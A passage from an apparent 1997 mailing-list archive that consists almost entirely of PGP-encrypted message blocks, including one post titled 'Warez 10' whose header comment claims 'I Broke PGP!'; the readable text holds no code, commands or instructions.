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
BRvSDuXERbO4evnDR+qN8mPzJvys/qVOzo+E
=IQO5
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 00:26:29 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 16:26:29 +0800
Subject: Warez 10
Message-ID: <199712180818.AAA15984@toad.com>



-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

qANQR1DDBAQDAAHJ7O+9piyO/7Kv2Rcmlx/9tmhoI+CpSbIkE5+ORVQDjdMqT9SC
xmB4t/0ku9c5pJpdyAqLtfBSd1xz8Ol+AukbP1/XgejPEVvD1uIDv8RzqbEMSVVL
2eDlyN1fwqcjzy8jIqqvq27qI20+avUVxXv6bYtQA1+Vfpzso/I72lcs3QLLeHVX
ukvrZ1BAfHEc9VZgMrFm0O8svaloi7kQbFM7Wug9hZKOk0Idvsv4kcI6vjpP/s8z
NgZoZNsee1/0AFRp0pUi6gxJAbu0MqXItCoCpzWmZOEKaQJOuuLaGju9vfqtvQvQ
ctyIV4h042O87qmxoMV5+110Q4UqCyCbttlvRmQROcbX4BE2tgFok3OB3I0ccTjx
VJVxPz+Ew3pfSUg28F6CsGA8+D8g86PQo4yr2pcJbTD4B0EUR2avG5+btIXBUyyf
dY43N6LNLRVvwNTPVS+WScziZYIpteFPfQ45M2VchWafoYhOlRXiI9NbTE/dT9sJ
eIUPuxAK2En7hPOkQD0yPmx+fxmSqvfuLMAzHLAvPBxni7OKGa+/bHn+R38iGMcs
64DzsmXD7n23CArkB4TmeqGrWnQ3UtMsDPojKD5GayVdXNpCT8QEMgryRQ967eNc
W/wrcwDwcLOshexbyYhQOwDf7J38xg15U95NDCPKG9xnBxmPTpKU66yY84Usleya
DXI/8MtAe8GTG8KAKfirMnMr4roqDiBM6+VJT/684yrxhjOlkAeed1wBrNsNWL1b
Azj++nFLon+5omMZKMCR8QjLQP8NEjFglIeDgW9CHYVUYahO2rjFyjmAdfJZwAWZ
0P5QfuE4Bw25sCWWEC55lojB8qtCIHJRDfnW5oV0FNgtYvpb8D+dk0p9jjNFQJFB
RpmKfsIn2BU+WjQO65W/oBlzoZt2nXnDnkag7Hyh0NPEUxEZ1Lp4YSAOXg9iLj3e
eYGh6bEoqoPixpWtde06dWyPby1iCXFwBE8aXegbqSFOZBdMOqV126ROxU7mTEys
nS4CpN8CTZuRw4JXti/bgSsSm9pQn8M4EqI01I/oPo/Wy1Kh5bYDHTEb1IquALAE
qJIWnY/4gbfGChgfqBwQw9vIQFieGXLNpDEPJJfIUQVP4Oz2ViIF2dt3aMgARY0A
iksfOkb/gInoxPUvsW4j8sDKdasZkL/pbZnZwYG5MC+KSIpNkjJ8CF1/mAxY3Rg9
QCa30E/sVfeNUB2u4hN4tVBynKRe9W25NW/BLaGgJ+UaEu8oQa5HlLWsW3Zn7NwI
XFy2T25K21cCPSxdVd6Mla3/yuDN62m2Vpke5px2a99w+QMhacxQmfGM7DyFw8HQ
SVfmwn5+UPuiMuiDTB7Jcp/0FYNlQiIezSDrxQTutr2j+u2QXqUzD4hqvytv5dxC
iHMslYiIhX5Om/B9a18YQXzlBCUtHo59M8plT7N68u4KUfJHCVY8xhLaxxzbIlmU
Rsg5tQzypEiSdtdFHr2D1rxUP1PDi+emGDykcCtb6lv4MQiLI9vPDggRPXRq6eCs
f1TgmV5LBTGliZqeN5hZzU//mVY0zKwICbMngjkQXYvnjsdBX3a9BdiK+9+8CZdZ
y5Da7I8uJSWy15wXYxH8cgHfzcLQ16fPuF/Rb0gAyhqNQb1qE7MVh1vT+C8sunyo
eIt0qjZ8lxMoP5xT8ZX4x5EQEQkHXgSTN2hoh0i2jlBP5TyCP/1WuvfZObE4SsqF
lBZfKQRvIlWQAhyxkZ8F2OIRBDQAZ3/u+usIGc6XP/5BPXLBjBYMAagkOU17dmlP
uMfd9gOvqoAZuRH3IMc9bf3pF0b0Rlg9KkVaMNo70E4q6t73KCPcPQOPt8iLcHeZ
4GCbJFErxlUQZVTX6FR3iaYA4AqM8pSaZsISw5wiEQKlEFKJqRSeFPXMY6ELZT9e
nVqjf4BiMavdzM0UDSFYw5UPFOEkJpOq5ATFGVbCFYlLx4cLjDv0e4mxeMROK7H2
M+gjkmmttXm00dLQjDQl64fzqRdTTGEO3ZH0nXgmBc9Ju6NMhUNkGumz2+1iT6id
SiKr2YyD1KRkYR2f/j87s/YdCcJ20YHgxtBEcb1dCsQsebmf1NlVutePLFYNKGmw
W95bOpB01nuIlRTTagIxkTqDXD02ukAkFk20ioGnieUksLWp2iTuDAPuT/z/pHha
HAx0hTNri07i/GtLXtYGe2XfwlLTcJlivNF3TpjwW7S6DQUtNWjE/m0U+erLvW3D
pHgaYK2gICnguNw3Rud97J8iSFYR7goRWa6vHCP/fJn1RRlZN0u+bfpnusq5vfMM
jcxqhxwJ5wP64ACRmKKaoQ1aII5IAELKm2b4APKDAK+q2eYy45gqYyk+DVIrVmoQ
WaXpPWaiLSUxJXDx3kpsfhjPoL+SFpmKFpETaPnyOvsvonbDXFwwlk12Wc/gKLTN
o3w75z7B6bxmSwIbP7SIfdZTNDdYTPtO3KVTUHiXFP+PKyttyodKjTdsQUiJK0wX
myTgmJNxpL47tehXbP3jcAymCzINtXSMyFuYd6XvgKi1/VZRlrrpi7KsXP7FGTpQ
NJE1AqR6cRit8524rGfseuj6pEU1Rr3CA9jrrfCN/geprFNTeLCBbWexjI1XLdVW
ETsG1vaz589uoPuK752SVlee1s3kx3eSFH8G4ViMhKdvPxv0b7PstWkhG/KZ7eDQ
hhBk8lk44/rs1Xj06otEMvFxcmKyOzeYwlw/vYy1tVE5WTnC6vINfW+lh5/gtMVf
d/2nYipGNkv/d0w0RQ3C9z9wsUlCQojXz5qy1JV6y1qDGGRvAaRIV9OOlcnzAeAS
S5254Ym3RXiGcbxya+NrY6ngoQHbZbRWJz/ifbqJsljHSriueWq5M1JMFzlgp+4n
2YKa2zMJUuT/aJ7FVrpl04JqUCaliz1c/h58u8DTmRVrWG1DwGHWmr/SweUzZjx+
6Y1TY9dczsD3INKJGpr/R6Eh/NMTqQ5KtEXNQZsqzZ1aHAhrRsew1IGiDBkHKPIj
0nLn4dDDueX67UyosANZMW2Ta4NsWV4ST49M+1hHiXUpqvhqvMQHDK2MHIUc/Z09
ms8x4b5rA+8Eddm+ojkqnlaAaOh4PatAVWTNN6EGh1WcrmGWV6hhjgQ/Cs7Ot5Mp
MWrnRg2VySeqfCpIhpY3t8LimL3+4cQ2og/mPBYHjZ7PuecSbmmfRxxGvdeIyLXv
VZUqKm4uhf5qFm1YQpA1IXmdfY+pXXvq9F20fvePoA+oLgMddnQ00jCs+HUm/GfF
XA2xz7uIyeRRNGWcqpbtCQKTl5rpNBacMN0OtEeD7t6prObPgGH+Uszca9+CEOUQ
L9RY13TBr8LYd0YwG0SCMWC9WqEV7M3dXwaw/LgY/wL1++gb9ZzdClrjH7JGEpFv
R9mtZi8+U7Y+pXqlb7nAf6On07C2CgRk8Bl9WO9vBFSlfBwdulnbiAANLERieEDX
bvcyviZGUlJkcZHmwfO9ZCNDNiKiXF6+ABz2zgUmwENVwB4OpBdhMaIPiwHSkVFc
cZR2iM3ad8pP7hLce7iw3pNnUNCLrY8un4K+iB9NJv+nkGrz8r93jMf+rEWurnSl
HCUFp7LllaLy3RKuohviGoeYpDsuTJaumXRbe+TQa/LSv3QD95DPcc43REwtJA+a
ZOeauLDT+KQ0UDvbZmNxto1yAamQxTPAa+eptWMwSsmQPuibEv+KWHg1OouFoD5J
qWzJkh5k7b/oX1P4wDeU0iasK3A0HuL6aw2d+IvB6hHbPUnv0pJMgfUc8SEjih5k
J0OzeSQ65oiwTVwYIyJZi8Q/6FFbLo3EI7gi6zWiWWRiZoOh8LgjE27k3QKTDjW2
S/vUffShLp+UDQfGaLgbxLWbu7AAqPkpmdpimYixyt9I9yeDsK4rNe/2opSwb9EE
9yCPiVDSdUPozxSjutkCnpIQIoUf94o/Gj92r9XLwI+Yu9xbNWuRCdNdizhJ59cO
iwZTjcMh3cZ0fAmefq7n2wAsEGhTa1gtLh6MWo+u6Sa0QMQw07JDX11yAYD0Zdxz
5ZRMLqk3E4//hsPH+y06+sZ2UxpQWlyxkBFN5DJmTINIAOdK8rMF6ruoLAErTYwN
nwUTu9pfLK3p5cU/iAYhxoqsI6TBB3rJVRt/zaxJasfxbjJIlxtM0yKnS77CaSiJ
/7lAWMKFU5CE/c00zjj7+e/spPQBlFW295kEM3ELLtmonm9jnJCzKiJlEcuULWhD
FY159TPNC3yEusGI1bIKet+sgdB/vCj3wb/RY2AGfVsZVUl28zp1OIPNOwammSHA
y8AEJXB8VuAuMH1pyfU2nNIEe9rhRdskrIDksJQWXSmyZmLh7v7x50yAN8lI1hEo
hQym99/7JEu532sjk11jOARKlFeWu+EGedCZTWQ9OLustbnblcCwqF1WO6ABtXgE
tBdUq+a5rqYseazEKn2BOp1ZH895G06hxkOEYBW+3nFOU8mTWxw8nSuAx6WrII1c
WbP6QMR5BWIk93Y/LnUj0Q2EjZPExFDCvHTOxKP1/l9PBYrDBhlHRVcyRIBYCezQ
1CICq8a2xSkiU+jgJc4AmcXw3l9m4VO6R6gZDJufmbF6tCPO9jtGKpjVgCKtB/Ic
Ru5Dg9mJjwIrrMxGD9299YjyewMNHn8cKA6Lnbx48lXqkr15Afcx38Ga6mEnRbbl
9Om967Ue33doVoHCioxJRM/n0mghbERIkHLHUmcrYzjiWCskrnlRgvfQARopiTTU
Maan5+9bUuEFW+qE3zywWjeZjwKO0j1pi7JO+8hWKp/QO+829htIKuTuF1jmEXrn
V61vQVqw5ZK63BhFXW/Nig+hrMoZ9bSo+gL4fLz2BdL05z4KflKqcInSOOSip4bt
gUWbExq9drdGBZpTepHFlV9lM7GwsjUqkOC3k4IbpNopflAXHH+kF7PFvcvzTZYM
TRxNRs29xodbbidJ41NFTyoSLYSGHfFJNUNLrMSzXHwLb7l/O4OXB0nn+HDG/Fiv
wtMyQmkLhj2D3DwiL14DVFUyGSMR+3TDye6cBaKhGSbnDU3GqWiQNukHKxOZo93s
cdP/Tzno+8rHdJB86BXe2M7tb8kKw/+6wV4Elo5t1IDMI8IzpCK7M193lfThyWix
rwjWxSZafNlK3rXrkvj3Fh9G7m2CSCMTyiQLpIdwXAUz9hCZzzDk98p738STUySu
zC5Upbeu2QWjT2l2SS0XSAsR0dWl7dowyYcdkHI/ztEtr6BM918LUY6fAyO1D5l6
cEBfOAjJNLuZcSDeVo0TzGXaR4vMwfKVAOZqyJEDhb9n80B/sEcLFCu3QK/LKX44
uEHBdt1jSn6gqTmpRs25gwAFZ+0UfsmZLLrEr6P7xC7wl2/aQvB8Z13vLBSSF8BR
utYW88W/NcIQobpF50Za7dWizLyR72ptpQFjY8kO+FBWUIPdEdoN+qsIzqhBNXt5
ELkSzXYY+BE/ctzCGdjugFqWEy942TrrgfQoCwTssvu6bqd3z+CR2Zoq78Lhr21Z
H5nMi3ZCswGdDXWSAN65vMS364vxidN1rhNurzhxMo0JbzasAGlL+A1AslHhvISV
gLt4v6GMyKNa93YkA1+a7u5uSOO+vCAWsz82+aQP1JfuG1TSGPw6SVVgZgmKpx4C
808FNcYDQZhc3X1RjJaXfmXJEQwq9xxbOtU9fs34w1gsNtU7VJnWWpkNNlZLmwXp
8Yhu5Wb5zu9NZ6Ifwj37GtOQQkIV7X1dPHSCL8tCx4kiZc1PzDOTIVSWkiIBGMOr
xA53xjSjDDgaDnonnaOJa8UyFUkvux0TyNFap7n1pRPhRdGBegXdoL4hIdUpX8W9
uZ6+HJGiLk9E7Fy9l3NiIwJHzY5BXftYrwDRd5lXOWpsU6aLUsSBP/iJByhvNYWZ
cjxchLjiwzUQyIduQEneaxRS1taeXCa8AZBhdFsu1HFLZd1+/a40lFUrRaiCtG6K
1mmKmsfl46AXhH6vXItg6Id/pYynYL2FhaThEAzox6SVoGIJQixpYhEonQKGVY/r
YUiJGb9mIUMHlA8PEvZVF6O9TBaqZ1yk7cVBkv8U01ioNGQRGPMC/i+4zeIbNl1o
2ApMHXpBkGVYd4JUahMcPkngMrVHvAP9/dVzAOh+mZjdpSsu8JxkSXwKodwUNX4s
zEHHoYaQQnv9TmrYGiUMZzWqCftcEq5xdyip3RBWZFIYlotfrTyZpn/7aCT7QV0W
+iHea99lgxOC6dpLkoKKczHLZjbgXcVjB7OXU1mOhOsVOCiSfWJnii5gzj4BKqKf
+21EIHDcFei0gxIbOecdbIalWhiNzVjSObzBoDLV3rMkgJGzBybTm2MY7jIOIQTV
0WAWFrj73PFy7EqMH1WOhOZ31vp9Uu6mj88CmQbs6r4NVpZgm5gyByhH+CKGBrHA
Jx/VCheW0lL0xU0/k8W/GPsvL4eY1tsLvxEVtHQIs7fZBNAfUHuc/AK/qNB3xS/L
OvRVABaJhRGbg3FBCCbfkWkNB7QwmF2vuYasySk7K+5l30vgnCeeIJ8ng7rda4e1
uHTk+pAQeudxZo8k+CWSM7bn40Bifb6iBkpvJ0oeHSABCtD7/VK9CzLkzvJUsnta
JiuGqYKcpBxwfORZAnK+6Suk+/EhwICe1PkiEFMK6He448vwRM1sKz5SYHWr1SV/
HoMLJp9WQsustGAEV9NBwTRbqdw3pD72ZoOOULudr49PtKjP+eW6vWIsuHlBcBpH
/VIJiLvMCu5Vahv/giBwd81yyzkrzsAO090C02crXr8Tej799URvyWLKHDSdc0/W
9bkOq/rV424Qv8ewZtg8AY2q6915aQfq0BD8w/y2zXAhs1ab3xS8JsuKN10/0cIa
DF9HFm/wsVsiozziuwU6SovEbxH/VEvu8nWhV4bTBJ74I3L8+TeajRz5kjBLJb43
7oDKOaASq8zl9mWme/fFZ4BH7R+ILDk/nRQEfDwhPLy/WC/FermaJwUIh115Jj4U
IaMOWBksq+NrLlIbjAzCAMYH+dOP/1W8CNgIsccloAxvCed3XbwgC8I0o0EhEQ1O
HKiqTmKfPVPrMDuFhkM/YkCIg4Lhn4uIH05VhMppCQ7wtYUrSL/p5n5kiASYEwyG
g1hpNEeHZ2EqNni7bncus8HThefhH3d0hLC/PyuiynWqDHKwjNUqWwp3Yasy8PBQ
mfBQga/U0qb5kdx90DyZMp5FnRKwemRRsJdadFNsLSl4ApR6HA+cqRJmNQ5acKzh
msvHp5ThZZMjfz3de/yu0OoP9K1y3Mddkw07JSlQDKb6Q/ngSfLiV4CKTKx9VEKe
rIlmC+B4NsHHr76o03OhKIKIoocMZ7qdBuf1TeAaJgvRfBTRHsDswIBwJ/MAlrRt
L5qpblMdWBc06C+rVSVEl7RlFrAjt6KOXXiE9uWq/tLdFGEctZ1wP2KgiZIxduJ+
hwjFvlGm7zVYC+i4OIIyquHcEmQ0YRShWc0mQo2+7tl9RlzA7HuWNDIUZir6c1yl
0tevW2p1IcbeBW51hSEYZS424HtXbdw+IRJ0j6JEx5PgY757vIWRhyrzorX3fHUs
qTeQp2pkRFGs0EuBzToQR9Jtdextcx1SrPk/d04xdgNEd3MxxWhb9xq1xcYbhb6m
TUn/Meu6whOdfP1XBOUv5dDGFQxjnaTcTUtvuheAeROQHyShJQhpPsLOjfopHQnp
AHBqZpIyih3NoO+pc1HiXVnXefWCyb91tf6IRodEsdzj9NNV/3wLpK+S2rWNNQDN
YkBCzaYSOHbhgnSlOn6nTy5yvFVpa1BMVHF7Ugfpj/4kVnVvEaVCbgbnmwoXCg1M
kd9tz9V+AUViTvU+VS7QMNbus4C21vVRWY8vd0xCQj2XZ1Drjuqc8neHpAiyPiTg
H5HSPJS9HsQVvYXjIV9eUqrmH6UtMUJLLi3sf0F3iSvVaJTeBtBb8DB0M44BeEN6
i6U4UAHsrAVbYER1UQAGyceZBKTzpxwGWveTIMS8R2QEenfUsjxJk//xLRPYenen
GIvgbK6Hq3bzjsoT6CwS09I4QC8SQEKbj5zd0BuCp5eDOh28pX8T8yvHt01XhFRQ
i5JmjK3+fACJfw3FXEmFYr1y08z2gKR5wWrg8S28P5r5rUuh1ltQ9v9xh5F09jT/
qbE1YujhibQNeld+xum5Fs3wbHpyXQCelsQ5PkAM0gQCdaNzn6px4a1FP47995YE
N6APDXM/V1kTYF91R3dke1IMfOpPnuzp9/yPZcEGWmS6umwclQBfkwmGAYPBBupl
cwqmIXZ0L+Eln84x2xZfnRj/saKWSSYle1ZCfCMj9ZaeSjmivw3Ak9LxrbC9Cn/j
CrqK+/hXWxe6xOYa17P4G9yLV3sjAu/u2k+bCa+3+3lWs/w3Fvg0clX6MlDjD9TT
5CoAaHs7CRf3DR04cYBt8KeXTXhDf0XYc5k5WwtGYo6gKoROtQT0aj3i34X9mw0g
jLyVLANc5tdUhPjygnooFGe2lVGbupzi0q183iHk9zSKGzsjGK7c6/yZi0Yq0niS
80y1BQX1kQNnOBS0Ovfr1S7cmPM5rKYMMdRWOYYpaJ2St4j2zh9vvRzZ7F8INLVH
1vsr7z9/C7sYt9Wuh+WMY3tU0pLSly2wMxeUHMVWkpM73fMepe3JhEhPcxf8qev5
LaN3XddaFVqED5nF9e3RdnLVYQtiqp9zazS+YF4j3nCxXcp3EltXmuYkbT2A2v9B
rT4ZUwlAxnqUtnv/0mWuTRobS9pb6DaCRYESqqp6H722z2qlx9fg3DzxdarbH8QC
SbOqVsHM8tJa9Bht541tzXAEYarxfdoc2793KTCphjPZao6pxFbQYzeCYqTP3jpm
h0G5TPvEGNq2gAqHzKan3pGx7EgL1+WjKDDAuxtWOp8jo/sM25SKOWeam4+9IaZi
eTRMVn4GxcVVdNtBmELKn09FTJPwmE1htcs6wjAXCNLYv09My7O4Vvq7z9enzMLI
I1L7PHoyqBHIdLhHGgPNVJLs1CayM1o4AlSc4Bu5q90VtN56C+2TOw5uUI/Ihzq9
ZTQQoWMLnPiOLtm5pIvAUxGzYRPISSDovvqr2xgY8O7nsQyFzd3PB7WTgEMUGAqg
5qt6gAA48op9UhSfF7YQRAfbKnka5vmFSh6k98/OzNNQnxbYsEyHgec4RWqq+vLu
KTISWIzBrK64pysqVTJa7uLxJqA8rmxScBBS4jExJ9oT6p2g1sIJMs5bYq5ENWsG
MziO0KB3ca3ESsWYvWtI/kTFxip0qDAQEINc5ym90hFdEfyJqvlvBSxfHe67vMMa
ncFoVs/pcK5ngl2L7jleIWuBEwsgDhl4fUc5Ox1wJxo5v8zdeS4A1qfTKBXUN0f8
voaCfu0HY2XvG5nHPlLusDnhb3eqJZKaSKNf1aTazYri3/3hISV0HoEwJQ6HSrcC
IoGalr7cjuE2c0Bjh7aGmPrWVhvGJl/NlVm2RGSKNNVR0k8PJRrFMw5CI7MEFCei
A+gM6drtWCc95h0J0Uu99v66l4eLGhtw82QPFjntMH60l6saEiY8HikNAJkQwmTw
yInvSnb4ZEQBRvDvIULZWOab678HWGA+esaKxAmMi7tKkByKXBdeCn5fafndNye9
9CDLvBoEcDWJwQAVL8j+Md6QLyNZXqxfxHxsSH2ouYoOmRYGXW7m8stAaPZID7WJ
0lFPxoTYAT7gpNnp0GRCzDvTajobreZHTw6RCejNjsMzH+IOkrsPnNnalKFOp1hs
T4O/RkUkTmRVN7/707P0y9tecwg1j4V8gioRhHtcPL3fX3E1SCRf7IFWTrQwPzO7
hCIn+RAnxljAaDIA6RtfZcZKt1jD/JMPllv5DPUFWsnx3a+/Xyf82dGnEqMnLaKU
gr5152Ka6chYdMdcV0wtsUP71ndlQG2VcOeMLpC+PIsLLdo1NyMxaMXKceG98A+H
WhvUiPY9wUx7KszfCKMvb0Xz1HG+HmMnRqXiyhgK37Kln9wgfuC6awWsnlBnzF4y
FStoeqkmA/uMuO6FixWnGC74r9A4giTIpHzGcTFjlYUmET+5SjupOMfSWkBmIlbf
EhtNRMZpAp+qWuqF3TR5f4Eo8GFFw6mPmCtgrg8I0d8p70s+PqUYD5rfZHN6jMo7
86VeLFWhsvQWUVEzzfdid/sK93YBoBlLgQAacbmyBf5gDaZma1IycDyfFcQcx21U
pOjdgHrc0CNHpSplSMeqyjotgS2QOmrJZwf7YcSE44+A016IPfqtaMMI5TtVGEkv
8W18ts33B7RVei+gQR/8YMWP4I81h0AVvnT9VeV8pwUcuySIFdU883qsej0ZeBEF
1Kce/DXRKS6G0rQPUwpe+zh/xASu+gE5ks9hFNjp/3pvIQrK/FnG5jSpXdie9fR0
DYpOuD8+YPhlroMnxZypeYJumdth7mW5JP2FxVKZNCW5YVmOCmwXtuCDoWNi044u
laKowI/dSRLlypSHxlCgTy8MOXMIvIlOxYsIuD2yvVuX3lWEmnAZc4R1xBqrakNr
sgm3wEBCyiBBXsQAQvvyq43Ez/wvXahf41puyOhknpN4iy8wVVKKVffSFYtVb7Xn
vI2KWudPALWs02k8lWiN1vMbtE2e82yoLydydWxf4/cRS8gjDFylNUB3Drt0GR3w
jsq04pRYZ3aSWTv2ZcRY9ssL/cZee38PClp/Z8fEGsSZHsrOd1J2S4R1NoVZnPkD
8CHNX51FV1Gw9JwS58LA+Qd/Lal+VZhm5ruJkFbesCWz6TIk6E8OP3n0FmRWli4p
lz8G/S+c31puH6reU6F1/WQjSeT4EvFEpTACjlXG61PwKAPITCPXtO7wXxUy8JYh
u0iEAUT+bXWgq3vJVE9sfknh2ZCh9Or1h5SinkeOSTIMkDt39GfdKydPpAz7DNEB
OG3IiPfVLN1cHQ1z71XjQGUfyWgqx3XmUaHVuyrJi5SUxoqr4O1CJbaWEMdXYOxJ
1xZccVINFtnpFodaKrfqc+glqPLQNCbWvXiv/NCVhGbulxvmkDBF0v7tkMSzinb7
V3oct66GELiU1+5an/JFdx9jFlTE/BJG+LuERTrUgf1etQHCkARNsNo1XBhxd8SQ
Uzj9naMGWrgVtHaib86UgBtfAOQ/Qvsk36d0c4DDpe4THUPBN9eEiGmT9OmGWMXr
fakaB6Fq5R9Rtw1TiR6Oux6iynf9znoPpiiGcyHM/6b+RgVi9qLC/Uhv2bN0qgPY
r2/r3dAlts2agn5nY2K/V6bVBrVMIKTwhqGC0pRB9OYuEavprVpvrKt/PGCPwGMb
8j9qa/WlfQg6JcQ91LCm+c7DDsXBQaNcSMSbK1kpYt3O1P3u6lSBsUiNcHxgV/8v
tepO+5HFHm4Ru7lHaTw2b22eDen0ZFG397WjOwyKzSiAnsBF9PRA+CIPqQybOyqD
CHnJ84X2GYwqYatdjby+2TR0ANgG/gVv211lyC4q4SYXh/0gH6nyE5dbfISYxOGC
b8mQEtE+d0wslODhkX/UHYI81vTHoUScUY2dFB96Hufmq2ROQc0rk5//qo8wTU8c
TagGCe1Ducd5Zc5IrrPYKQLJR5Lq2eq5vj7qrJvuhwEdlhrAjUhBbw0EFJ4kFBMu
Ct4LBPuuZoXQLE40Q+XGNf0CAlLX3LGTxr1+h6g1rdfpcU4UF087Icd5G+utgm9+
XA3JpqSj6fizRa6nbzXi6wKbjw2Mb8R4PuqGI3Nh+JBDb91sSQMSxBdQP5Ej+YeO
Z8BmHllLvsICEZpCZvWHyNT2s0QTCKlEGuFBFsGMjqkWdZmUsP9zeBPyF389x2Mc
BXOZKpx5meobt+2jRJKkGBlL+HhooSZvMmTGRhIKZR14BXityTWsHS4hIb6ZVoSy
F4wwmE7o8jsnqWp9RSDztFJh6Uayy604A+Yd7GWqjFBVCVXR0znKbRsTSrQRifBk
AzuPjJGXWyvYriB8kQr81NbjHCQc7ypflcFqgLlMy2eVQn32T+Ujfi7EUfci5sUy
w5NGKTQ3s7BG3vhyU/P7FVj5p7RwS8JSF4o6+FtzFjQ/0o47SCS21sTiQxHRlXiA
1Ez/x1DHOark3iLVR6H34SvS6A901LnKwmubL8EJt+lteMMGGjiTnFQYIlp7P0KP
853Y8H8ECS1XbwLDuzD0jaNyyuTB55+K92kSn61QM2p53+h/wM79bMLzZ9hN0iqA
5JKoIWbPdYJ8K0lU4CZpodC0IYSYgEN0O2yRVJ902NBzl7GBSx9UUHDLiCtsayil
MmtP9BS6roB6LIsmb+21V5XvnCJag3u8inPaa7jFZHVQWyj8Ncx/dr8RINn2+y40
f0GTPvcT3LMfZ18mFCOwMMgTrgMSK4xFiUZuP5GdJZmDlB+5J45VkYjHNVgGBAmT
rv0Q9PFvLenDCvkBOuHxxB7gT5E1qli3MJASja+5x/fWWidhdOVXRNlD0zLLAvPC
6cp1C+nO5jBCaaPiPRsPcJpysPpq5XAnmFZYE6u/3JYF7dPQ7rBUeTB8z471EeB9
y5O5DrV0mdDFwZBTvCCOtK+WOGRu75nDMc65Lz7t0ODKC/V3AVM3rWaBJL/qUITV
yTe926fKl3jxN5lnZ0/287K9ws464eSm5bAwVONCqQV+hYVbUM+fnoidyxWehUk6
M1qRhiJEzyWhzAkrJmq5n1Ki1aCwi/1ZPFAcTyRkeHcQEsAIWVyVOigcFr9taY1E
e1FC0bGT9pUP3Q0Hysv1YucpTlycD84JcOruQmTfDLaNW6XeLBqSe20gsdZ/Xa39
qB3aNODtVQ6CntpKX79fx9ID9Hns/kAXvMq8Hm+yX7syktR+teAha1wR1qt8KEVp
ntYJ585zv/f/z268v8nAEhKA7uXI3fZFzYafJ6x5FvtvrKvcbfWyDm7MdBcEtBE+
6aIKvjeJHB1nx8wKiY1vL4b347N2SMWkz7U2CZ+pnPvyDyPchuzyOQCQbm8KbmIu
Zdt6IwMBC+gMJG8a1iIiLkpcEkoHfbOSx36iABv7XW8tIzYxO9H02Ft2V//aQVHF
t44DqQQGTcfNBAARV4eq0vCy0Ut+G6V/0bYyIJx+aUE0TUChV+CUL04wPOUt+QRj
yrIgKOMVVKtUF4rXdw2BRhQaUXkt6mmPMCdUT7hR3yP2LjXTfLy9xgoheb6dol5J
0hAAv9wLPJcDM6LRZU8Hu5NOTtmEI1jqBJb6TOBvd9k6KfrqOTZjITz/FO0Faj9Y
